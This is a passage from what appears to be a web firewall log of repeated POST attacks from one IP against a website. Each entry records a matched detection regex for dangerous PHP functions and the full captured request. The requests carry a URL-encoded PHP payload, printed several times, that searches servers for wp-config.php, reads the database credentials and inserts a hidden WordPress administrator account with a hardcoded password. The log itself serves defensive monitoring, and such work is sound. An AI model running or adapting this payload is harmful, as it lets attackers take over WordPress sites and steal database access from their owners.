20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24c%20%3D%20file_get_contents%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%21strstr%28%24c%2C%20%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21end%21%27%29%3B%20"]
["2026-04-20 05:30:06","213.209.159.254","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Hs:%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:12640\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFUZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWznJ5xVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-site:none\n\nHs=%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B"]
["2026-04-20 05:30:22","213.209.159.254","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> AM:%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%